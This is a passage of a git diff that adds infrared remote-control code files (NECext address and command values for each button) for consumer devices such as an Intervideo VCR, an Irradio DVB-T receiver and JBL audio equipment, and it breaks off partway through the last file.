b/assets/resources/infrared/_CSV-IRDB_/Interact/Unknown_I-22121/0,-1.ir new file mode 100644 index 000000000..4aec2f1f4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Interact/Unknown_I-22121/0,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 80 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 81 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 82 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 83 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 84 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 85 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 86 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 87 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 88 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 89 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8A 00 00 00 +# +name: KEY_OPTION +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8D 00 00 00 +# +name: MAIN_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8E 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Intervideo/VCR/49,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Intervideo/VCR/49,-1.ir new file mode 100644 index 000000000..da465c312 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Intervideo/VCR/49,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: CH/TRACKING_^ +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 01 00 00 00 +# +name: CH/TRACKING_V +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 02 00 00 00 +# +name: AUDIO_OUT +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 03 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 07 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0C 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0E 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0F 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 10 00 00 00 +# +name: PAUSE/STILL_ +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 11 00 00 00 +# +name: REW/SRCH_<< +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 12 00 00 00 +# +name: FF/SRCH_>> +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 13 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 14 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 15 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 19 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1A 00 00 00 +# +name: 1-- +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1B 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1C 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1D 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1E 00 00 00 +# +name: AUTO_TRACKING +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1F 00 00 00 +# +name: OTR_OFF +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 40 00 00 00 +# +name: OTR_ON +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 41 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 43 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 44 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 46 00 00 00 +# +name: SLOW_^ +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 47 00 00 00 +# +name: SLOW_V +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 48 00 00 00 +# +name: AUDIO_DUB +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 49 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4A 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4C 00 00 00 +# +name: TV_MONITOR +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 51 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 5B 00 00 00 +# +name: CHANNEL_SCAN +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 5C 00 00 00 +# +name: TAPE_SPEED +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 5E 00 00 00 +# +name: ADD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 99 00 00 00 +# +name: CH_PROG_AUTO +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 9E 00 00 00 +# +name: ERASE +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 9F 00 00 00 +# +name: BLANK_SEARCH +type: parsed +protocol: NECext +address: 31 00 00 00 +command: D0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Intervision/Unknown_Intervision/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/Intervision/Unknown_Intervision/134,107.ir new file mode 100644 index 000000000..07f653743 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Intervision/Unknown_Intervision/134,107.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0A 00 00 00 +# +name: RIGHT_ARROW +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0C 00 00 00 +# +name: KEY_F1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0D 00 00 00 +# +name: KEY_F2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0F 00 00 00 +# +name: MTS +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 10 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 13 00 00 00 +# +name: DOWN_ARROW +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 14 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 15 00 00 00 +# +name: UP_ARROW +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 16 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: LEFT_ARROW +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 18 00 00 00 +# +name: KEY_F4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 19 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1B 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1C 00 00 00 +# +name: KEY_F3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Irradio/3331_DVB-T/1,254.ir b/assets/resources/infrared/_CSV-IRDB_/Irradio/3331_DVB-T/1,254.ir new file mode 100644 index 000000000..bd9e4b560 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Irradio/3331_DVB-T/1,254.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 00 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 01 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 04 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 06 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 07 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 08 00 00 00 +# +name: SUB +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 0A 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 0B 00 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 0E 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 0F 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 10 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 12 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 13 00 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 14 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 15 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 16 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 17 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 1A 00 00 00 +# +name: ALT +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 1E 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 40 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 41 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 42 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 43 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 4E 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 51 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 52 00 00 00 +# +name: USB +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 53 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 54 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 55 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 56 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 57 00 00 00 +# +name: EPG +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 5A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V/162,162.ir b/assets/resources/infrared/_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V/162,162.ir new file mode 100644 index 000000000..4e51e9867 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V/162,162.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: skip/tuning- +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 04 00 00 00 +# +name: mode/remain +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 05 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 06 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 07 00 00 00 +# +name: skip/tuning+ +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 0C 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 0D 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 0E 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 0F 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 13 00 00 00 +# +name: memory/clock +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 14 00 00 00 +# +name: intro +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 15 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 17 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 1B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 1C 00 00 00 +# +name: xbass +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 1D 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 1E 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 1F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 20 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 60 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JBL/Receiver/64,47.ir b/assets/resources/infrared/_CSV-IRDB_/JBL/Receiver/64,47.ir new file mode 100644 index 000000000..c200ed030 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JBL/Receiver/64,47.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: STANDBY +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 00 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 01 00 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 03 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 04 00 00 00 +# +name: PTY +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 05 00 00 00 +# +name: M +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 06 00 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 07 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 08 00 00 00 +# +name: RDS +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 09 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 0A 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 0B 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 0C 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 0D 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 0F 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 10 00 00 00 +# +name: I< +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 12 00 00 00 +# +name: >I +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 13 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 16 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 17 00 00 00 +# +name: ALARM1 +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 18 00 00 00 +# +name: ALARM2 +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 19 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 1A 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 1B 00 00 00 +# +name: SNOOZE +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 1C 00 00 00 +# +name: LIGHT +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JBL/Surround Processor/130,11.ir b/assets/resources/infrared/_CSV-IRDB_/JBL/Surround Processor/130,11.ir new file mode 100644 index 000000000..63d26c73d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JBL/Surround Processor/130,11.ir @@ -0,0 +1,464 @@ +Filetype: IR signals file +Version: 1 +# +name: MENU_+ +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 01 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 01 00 00 00 +# +name: OSD_OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 02 00 00 00 +# +name: BALANCE_RIGHT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 04 00 00 00 +# +name: BALANCE_REAR +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 05 00 00 00 +# +name: OSD_ON +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 05 00 00 00 +# +name: BALANCE_LEFT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 06 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 08 00 00 00 +# +name: DONE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0A 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0C 00 00 00 +# +name: INPUT:TAPE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0C 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0D 00 00 00 +# +name: INPUT:TUNER +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0D 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0E 00 00 00 +# +name: INPUT:CD +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0F 00 00 00 +# +name: INPUT:AUX +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0F 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 10 00 00 00 +# +name: INPUT:TV +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 10 00 00 00 +# +name: VIDEO_DISC +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 11 00 00 00 +# +name: INPUT:V_DISC +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 11 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 12 00 00 00 +# +name: INPUT:DVD +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 12 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 13 00 00 00 +# +name: INPUT:VCR +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 13 00 00 00 +# +name: RECORD_ZONE_II +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 14 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 15 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 16 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 17 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 18 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 19 00 00 00 +# +name: EFFECT_+ +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1A 00 00 00 +# +name: FX_UP +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1A 00 00 00 +# +name: EFFECT_- +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1B 00 00 00 +# +name: FS_DOWN +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1B 00 00 00 +# +name: MENU_- +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1D 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1D 00 00 00 +# +name: BALANCE_FRONT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1E 00 00 00 +# +name: EFFECT_BYPASS +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1F 00 00 00 +# +name: DOLBY_PRO_LOGIC +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 20 00 00 00 +# +name: THX_CINEMA +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 21 00 00 00 +# +name: LOGIC_7 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 22 00 00 00 +# +name: DTS +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 23 00 00 00 +# +name: 2_CHANNEL_STEREO +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 24 00 00 00 +# +name: PARTY +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 25 00 00 00 +# +name: TV_M +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 26 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 27 00 00 00 +# +name: ZONE_2:TAPE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 4C 00 00 00 +# +name: ZONE_2:TUNER +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 4D 00 00 00 +# +name: ZONE_2:CD +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 4E 00 00 00 +# +name: ZONE_2:AUX +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 4F 00 00 00 +# +name: ZONE_2:TV +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 50 00 00 00 +# +name: ZONE_2:V_DISC +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 51 00 00 00 +# +name: ZONE_2:DVD +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 52 00 00 00 +# +name: ZONE_2:VCR +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 53 00 00 00 +# +name: +5DB +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 84 00 00 00 +# +name: REMOTE_TRIGGER_OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 85 00 00 00 +# +name: -5DB +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 86 00 00 00 +# +name: DEACTIVATE_ZONE_2 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 88 00 00 00 +# +name: U_R_HERE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 8A 00 00 00 +# +name: ACCY_+_TAPE_MODE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 8C 00 00 00 +# +name: ACCY_+_TUNER_MODE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 8D 00 00 00 +# +name: ACCY_+_CD_MODE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 8E 00 00 00 +# +name: ACCY_+_AUX_MODE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 8F 00 00 00 +# +name: ACCY_+_TV_MODE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 90 00 00 00 +# +name: ACCY_+_V_DISC_MODE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 91 00 00 00 +# +name: ACCY_+_VCR2_MODE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 92 00 00 00 +# +name: ACCY_+_VCR1_MODE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 93 00 00 00 +# +name: ZONE_2_MODE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 94 00 00 00 +# +name: FULL_MUTE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 95 00 00 00 +# +name: TREBLE_- +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 96 00 00 00 +# +name: TREBLE_+ +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 97 00 00 00 +# +name: OSD_ON +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 98 00 00 00 +# +name: OSD_OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 99 00 00 00 +# +name: BASS_+ +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 9A 00 00 00 +# +name: BASS_- +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 9B 00 00 00 +# +name: REMOTE_TRIGGER_ON +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 9E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JBL/Surround Processor/132,66.ir b/assets/resources/infrared/_CSV-IRDB_/JBL/Surround Processor/132,66.ir new file mode 100644 index 000000000..22cd8b816 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JBL/Surround Processor/132,66.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: SIBILANCE +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 00 00 00 00 +# +name: 70_MM_MOVIE +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 02 00 00 00 +# +name: ROCK +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 03 00 00 00 +# +name: THEATER_EQ. +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 04 00 00 00 +# +name: 35_MM_MOVIE +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 06 00 00 00 +# +name: POP +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 07 00 00 00 +# +name: EFX_MUTE +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 08 00 00 00 +# +name: THX +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 0A 00 00 00 +# +name: JAZZ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 0B 00 00 00 +# +name: DOLBY +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 0E 00 00 00 +# +name: HALL_1 +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 0F 00 00 00 +# +name: MONO_ENHANCE +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 12 00 00 00 +# +name: HALL_2 +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 13 00 00 00 +# +name: AMBIENCE_+ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 18 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 19 00 00 00 +# +name: CENTER_^ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 40 00 00 00 +# +name: INPUT_CALIBRATE_< +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 41 00 00 00 +# +name: CENTER_V +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 43 00 00 00 +# +name: SOURCE_^ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 44 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 84 42 